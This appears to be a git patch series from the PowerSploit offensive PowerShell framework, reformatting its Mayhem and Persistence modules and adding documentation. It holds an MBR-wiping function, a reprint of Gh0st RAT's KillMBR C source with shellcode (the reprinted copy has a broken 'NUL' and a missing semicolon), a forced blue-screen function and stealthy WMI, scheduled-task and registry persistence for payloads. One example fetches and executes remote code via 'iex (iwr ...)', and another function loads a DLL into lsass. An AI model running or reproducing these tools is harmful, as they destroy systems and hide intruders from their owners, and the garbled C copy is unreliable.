93 deletions(-) create mode 100755 docs/Mayhem/Set-CriticalProcess.md create mode 100755 docs/Mayhem/Set-MasterBootRecord.md diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 index 0baaf3ed..5fbdde25 100644 --- a/Mayhem/Mayhem.psm1 +++ b/Mayhem/Mayhem.psm1 @@ -3,109 +3,109 @@ function Set-MasterBootRecord <# .SYNOPSIS - Proof of concept code that overwrites the master boot record with the - message of your choice. - - PowerSploit Function: Set-MasterBootRecord - Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - +Proof of concept code that overwrites the master boot record with the +message of your choice. + +PowerSploit Function: Set-MasterBootRecord +Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION - Set-MasterBootRecord is proof of concept code designed to show that it is - possible with PowerShell to overwrite the MBR. This technique was taken - from a public malware sample. This script is inteded solely as proof of - concept code. +Set-MasterBootRecord is proof of concept code designed to show that it is +possible with PowerShell to overwrite the MBR. This technique was taken +from a public malware sample. This script is inteded solely as proof of +concept code. .PARAMETER BootMessage - Specifies the message that will be displayed upon making your computer a brick. +Specifies the message that will be displayed upon making your computer a brick. .PARAMETER RebootImmediately - Reboot the machine immediately upon overwriting the MBR. +Reboot the machine immediately upon overwriting the MBR. .PARAMETER Force - Suppress the warning prompt. +Suppress the warning prompt. .EXAMPLE - Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' +Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' .NOTES - Obviously, this will only work if you have a master boot record to - overwrite. This won't work if you have a GPT (GUID partition table) -#> +Obviously, this will only work if you have a master boot record to +overwrite. This won't work if you have a GPT (GUID partition table). -<# This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): -// CGh0stApp message handlers - -unsigned char scode[] = -"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" -"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" -"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; - -int CGh0stApp::KillMBR() -{ - HANDLE hDevice; - DWORD dwBytesWritten, dwBytesReturned; - BYTE pMBR[512] = {0}; - - // ????MBR - memcpy(pMBR, scode, sizeof(scode) - 1); - pMBR[510] = 0x55; - pMBR[511] = 0xAA; - - hDevice = CreateFile - ( - "\\\\.\\PHYSICALDRIVE0", - GENERIC_READ | GENERIC_WRITE, - FILE_SHARE_READ | FILE_SHARE_WRITE, - NULL, - OPEN_EXISTING, - 0, - NULL - ); - if (hDevice == INVALID_HANDLE_VALUE) - return -1; - DeviceIoControl - ( - hDevice, - FSCTL_LOCK_VOLUME, - NULL, - 0, - NULL, - 0, - &dwBytesReturned, - NULL - ); - // ?????? - WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); - DeviceIoControl - ( - hDevice, - FSCTL_UNLOCK_VOLUME, - NULL, - 0, - NULL, - 0, - &dwBytesReturned, - NULL - ); - CloseHandle(hDevice); - - ExitProcess(-1); - return 0; -} +// CGh0stApp message handlers + +unsigned char scode[] = +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; + +int CGh0stApp::KillMBR() +{ + HANDLE hDevice; + DWORD dwBytesWritten, dwBytesReturned; + BYTE pMBR[512] = {0}; + + // ????MBR + memcpy(pMBR, scode, sizeof(scode) - 1); + pMBR[510] = 0x55; + pMBR[511] = 0xAA; + + hDevice = CreateFile + ( + "\\\\.\\PHYSICALDRIVE0", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + return -1; + DeviceIoControl + ( + hDevice, + FSCTL_LOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NUL + ) + // ?????? + WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); + DeviceIoControl + ( + hDevice, + FSCTL_UNLOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + CloseHandle(hDevice); + + ExitProcess(-1); + return 0; +} #> - [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] + Param ( [ValidateLength(1, 479)] [String] $BootMessage = 'Stop-Crying; Get-NewHardDrive', @@ -220,7 +220,7 @@ int CGh0stApp::KillMBR() $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) # Zero-initialize the allocated unmanaged memory - 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } + 0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) @@ -272,11 +272,11 @@ function Set-CriticalProcess Causes your machine to blue screen upon exiting PowerShell. -PowerSploit Function: Set-CriticalProcess -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Set-CriticalProcess +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .PARAMETER ExitImmediately @@ -300,7 +300,9 @@ Set-CriticalProcess -Force -Verbose #> - [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] + Param ( [Switch] $Force, @@ -319,7 +321,7 @@ Set-CriticalProcess -Force -Verbose { $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.') } - + if (!$Response) { return diff --git a/docs/Mayhem/Set-CriticalProcess.md b/docs/Mayhem/Set-CriticalProcess.md new file mode 100755 index 00000000..1ec952f2 --- /dev/null +++ b/docs/Mayhem/Set-CriticalProcess.md @@ -0,0 +1,108 @@ +# Set-CriticalProcess + +## SYNOPSIS +Causes your machine to blue screen upon exiting PowerShell. + +PowerSploit Function: Set-CriticalProcess +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Set-CriticalProcess [-Force] [-ExitImmediately] [-WhatIf] [-Confirm] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-CriticalProcess +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Set-CriticalProcess -ExitImmediately +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Set-CriticalProcess -Force -Verbose +``` + +## PARAMETERS + +### -Force +Set the running PowerShell process as critical without asking for confirmation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExitImmediately +Immediately exit PowerShell after successfully marking the process as critical. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WhatIf +Shows what would happen if the cmdlet runs. +The cmdlet is not run. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: wi + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Confirm +Prompts you for confirmation before running the cmdlet. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: cf + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Mayhem/Set-MasterBootRecord.md b/docs/Mayhem/Set-MasterBootRecord.md new file mode 100755 index 00000000..0aa994d5 --- /dev/null +++ b/docs/Mayhem/Set-MasterBootRecord.md @@ -0,0 +1,184 @@ +# Set-MasterBootRecord + +## SYNOPSIS +Proof of concept code that overwrites the master boot record with the +message of your choice. + +PowerSploit Function: Set-MasterBootRecord +Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Set-MasterBootRecord [[-BootMessage] ] [-RebootImmediately] [-Force] [-WhatIf] [-Confirm] +``` + +## DESCRIPTION +Set-MasterBootRecord is proof of concept code designed to show that it is +possible with PowerShell to overwrite the MBR. +This technique was taken +from a public malware sample. +This script is inteded solely as proof of +concept code. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' +``` + +## PARAMETERS + +### -BootMessage +Specifies the message that will be displayed upon making your computer a brick. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: Stop-Crying; Get-NewHardDrive +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RebootImmediately +Reboot the machine immediately upon overwriting the MBR. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Suppress the warning prompt. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WhatIf +Shows what would happen if the cmdlet runs. +The cmdlet is not run. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: wi + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Confirm +Prompts you for confirmation before running the cmdlet. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: cf + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Obviously, this will only work if you have a master boot record to +overwrite. +This won't work if you have a GPT (GUID partition table). + +This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): + +// CGh0stApp message handlers + +unsigned char scode\[\] = +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; + +int CGh0stApp::KillMBR() +{ + HANDLE hDevice; + DWORD dwBytesWritten, dwBytesReturned; + BYTE pMBR\[512\] = {0}; + + // ????MBR + memcpy(pMBR, scode, sizeof(scode) - 1); + pMBR\[510\] = 0x55; + pMBR\[511\] = 0xAA; + + hDevice = CreateFile + ( + "\\\\\\\\.\\\\PHYSICALDRIVE0", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + return -1; + DeviceIoControl + ( + hDevice, + FSCTL_LOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NUL + ) + // ?????? + WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); + DeviceIoControl + ( + hDevice, + FSCTL_UNLOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + CloseHandle(hDevice); + + ExitProcess(-1); + return 0; +} + +## RELATED LINKS + diff --git a/mkdocs.yml b/mkdocs.yml index 8cc8a394..8012ab0f 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -124,7 +124,11 @@ pages: - Find-AVSignature: 'AntivirusBypass/Find-AVSignature.md' - CodeExecution: - Functions: - - Find-AVSignature: 'CodeExecution/Invoke-DllInjection.md' - - Find-AVSignature: 'CodeExecution/Invoke-ReflectivePEInjection.md' - - Find-AVSignature: 'CodeExecution/Invoke-Shellcode.md' - - Find-AVSignature: 'CodeExecution/Invoke-WmiCommand.md' + - Invoke-DllInjection: 'CodeExecution/Invoke-DllInjection.md' + - Invoke-ReflectivePEInjection: 'CodeExecution/Invoke-ReflectivePEInjection.md' + - Invoke-Shellcode: 'CodeExecution/Invoke-Shellcode.md' + - Invoke-WmiCommand: 'CodeExecution/Invoke-WmiCommand.md' +- Mayhem: + - Functions: + - Set-MasterBootRecord: 'Mayhem/Set-MasterBootRecord.md' + - Set-CriticalProcess: 'Mayhem/Set-CriticalProcess.md' From cf444398cab3f77f9b8cc7bd23e3e506621eb150 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 18:24:33 -0500 Subject: [PATCH 222/296] For ./Persistence/ : -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- Persistence/Persistence.psm1 | 278 ++++++++++-------- docs/Persistence/Add-Persistence.md | 227 ++++++++++++++ docs/Persistence/Get-SecurityPackage.md | 37 +++ docs/Persistence/Install-SSP.md | 60 ++++ .../New-ElevatedPersistenceOption.md | 235 +++++++++++++++ docs/Persistence/New-UserPersistenceOption.md | 179 +++++++++++ docs/index.md | 2 +- mkdocs.yml | 7 + 8 files changed, 894 insertions(+), 131 deletions(-) create mode 100755 docs/Persistence/Add-Persistence.md create mode 100755 docs/Persistence/Get-SecurityPackage.md create mode 100755 docs/Persistence/Install-SSP.md create mode 100755 docs/Persistence/New-ElevatedPersistenceOption.md create mode 100755 docs/Persistence/New-UserPersistenceOption.md diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 0861af67..7e4bbb97 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -3,84 +3,86 @@ function New-ElevatedPersistenceOption <# .SYNOPSIS - Configure elevated persistence options for the Add-Persistence function. - - PowerSploit Function: New-ElevatedPersistenceOption - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - +Configure elevated persistence options for the Add-Persistence function. + +PowerSploit Function: New-ElevatedPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION - New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry. +New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry. .PARAMETER PermanentWMI - Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove. +Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove. - Detection Difficulty: Difficult - Removal Difficulty: Difficult - User Detectable? No +Detection Difficulty: Difficult +Removal Difficulty: Difficult +User Detectable? No .PARAMETER ScheduledTask - Persist via a scheduled task. +Persist via a scheduled task. - Detection Difficulty: Moderate - Removal Difficulty: Moderate - User Detectable? No +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? No .PARAMETER Registry - Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. +Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. - Detection Difficulty: Easy - Removal Difficulty: Easy - User Detectable? Yes +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? Yes .PARAMETER AtLogon - Starts the payload upon any user logon. +Starts the payload upon any user logon. .PARAMETER AtStartup - Starts the payload within 240 and 325 seconds of computer startup. +Starts the payload within 240 and 325 seconds of computer startup. .PARAMETER OnIdle - Starts the payload after one minute of idling. +Starts the payload after one minute of idling. .PARAMETER Daily - Starts the payload daily. +Starts the payload daily. .PARAMETER Hourly - Starts the payload hourly. +Starts the payload hourly. .PARAMETER At - Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. +Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. .EXAMPLE - C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' .EXAMPLE - C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup +$ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup .EXAMPLE - C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle .LINK - http://www.exploit-monday.com +http://www.exploit-monday.com #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )] [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )] [Switch] @@ -189,68 +191,70 @@ function New-UserPersistenceOption <# .SYNOPSIS - Configure user-level persistence options for the Add-Persistence function. +Configure user-level persistence options for the Add-Persistence function. + +PowerSploit Function: New-UserPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None - PowerSploit Function: New-UserPersistenceOption - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - .DESCRIPTION - New-UserPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry. +New-UserPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry. .PARAMETER ScheduledTask - Persist via a scheduled task. +Persist via a scheduled task. - Detection Difficulty: Moderate - Removal Difficulty: Moderate - User Detectable? No +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? No .PARAMETER Registry - Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. +Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user. - Detection Difficulty: Easy - Removal Difficulty: Easy - User Detectable? Yes +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? Yes .PARAMETER AtLogon - Starts the payload upon any user logon. +Starts the payload upon any user logon. .PARAMETER OnIdle - Starts the payload after one minute of idling. +Starts the payload after one minute of idling. .PARAMETER Daily - Starts the payload daily. +Starts the payload daily. .PARAMETER Hourly - Starts the payload hourly. +Starts the payload hourly. .PARAMETER At - Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. +Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. .EXAMPLE - C:\PS> $UserOptions = New-UserPersistenceOption -Registry -AtLogon +$UserOptions = New-UserPersistenceOption -Registry -AtLogon .EXAMPLE - C:\PS> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle .LINK - http://www.exploit-monday.com +http://www.exploit-monday.com #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] @@ -333,99 +337,104 @@ function Add-Persistence <# .SYNOPSIS - Add persistence capabilities to a script. +Add persistence capabilities to a script. + +PowerSploit Function: Add-Persistence +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption +Optional Dependencies: None - PowerSploit Function: Add-Persistence - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption - Optional Dependencies: None - .DESCRIPTION - Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted. +Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted. .PARAMETER ScriptBlock - Specifies a scriptblock containing your payload. +Specifies a scriptblock containing your payload. .PARAMETER FilePath - Specifies the path to your payload. +Specifies the path to your payload. .PARAMETER ElevatedPersistenceOption - Specifies the trigger for the persistent payload if the target is running elevated. - You must run New-ElevatedPersistenceOption to generate this argument. +Specifies the trigger for the persistent payload if the target is running elevated. +You must run New-ElevatedPersistenceOption to generate this argument. .PARAMETER UserPersistenceOption - Specifies the trigger for the persistent payload if the target is not running elevated. - You must run New-UserPersistenceOption to generate this argument. +Specifies the trigger for the persistent payload if the target is not running elevated. +You must run New-UserPersistenceOption to generate this argument. .PARAMETER PersistenceScriptName - Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'. +Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'. .PARAMETER DoNotPersistImmediately - Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option. +Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option. .PARAMETER PersistentScriptFilePath - Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory. +Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory. .PARAMETER RemovalScriptFilePath - Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory. +Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory. .PARAMETER PassThru - Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline. +Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline. .INPUTS - None +None - Add-Persistence cannot receive any input from the pipeline. +Add-Persistence cannot receive any input from the pipeline. .OUTPUTS - System.Management.Automation.ScriptBlock +System.Management.Automation.ScriptBlock - If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script. +If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script. .NOTES - When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine. +When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine. .EXAMPLE - C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' - C:\PS>$UserOptions = New-UserPersistenceOption -Registry -AtLogon - C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' +$UserOptions = New-UserPersistenceOption -Registry -AtLogon +Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose - Description - ----------- - Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. +Description +----------- +Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. .EXAMPLE - C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) } - C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle - C:\PS>$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle - C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 +$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) } +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle +Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 - Description - ----------- - Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1 +Description +----------- +Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1 .LINK - http://www.exploit-monday.com +http://www.exploit-monday.com #> - - [CmdletBinding()] Param ( + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')] + [CmdletBinding()] + Param ( [Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] [ValidateNotNullOrEmpty()] [ScriptBlock] @@ -527,7 +536,6 @@ function Add-Persistence #region Initialize data - $CompressedScript = '' $UserTrigger = '' $UserTriggerRemoval = '' $ElevatedTrigger = "''" @@ -598,7 +606,7 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj { $ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR " } - + 'Daily' { $ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR " @@ -736,7 +744,7 @@ $ElevatedTriggerRemoval $UserTriggerRemoval "@ - + $PersistantScript | Out-File $PersistentScriptFile Write-Verbose "Persistence script written to $PersistentScriptFile" @@ -759,10 +767,10 @@ function Install-SSP Installs a security support provider (SSP) dll. -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -785,7 +793,12 @@ if you are running a 64-bit OS. In order for the SSP dll to be loaded properly into lsass, the dll must export SpLsaModeInitialize. #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')] + [CmdletBinding()] + Param ( [ValidateScript({Test-Path (Resolve-Path $_)})] [String] $Path @@ -811,43 +824,43 @@ into lsass, the dll must export SpLsaModeInitialize. [String] $Path ) - + # Parse PE header to see if binary was compiled 32 or 64-bit $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) - + [Byte[]] $MZHeader = New-Object Byte[](2) $FileStream.Read($MZHeader,0,2) | Out-Null - + $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) if ($Header -ne 'MZ') { $FileStream.Close() Throw 'Invalid PE header.' } - + # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) 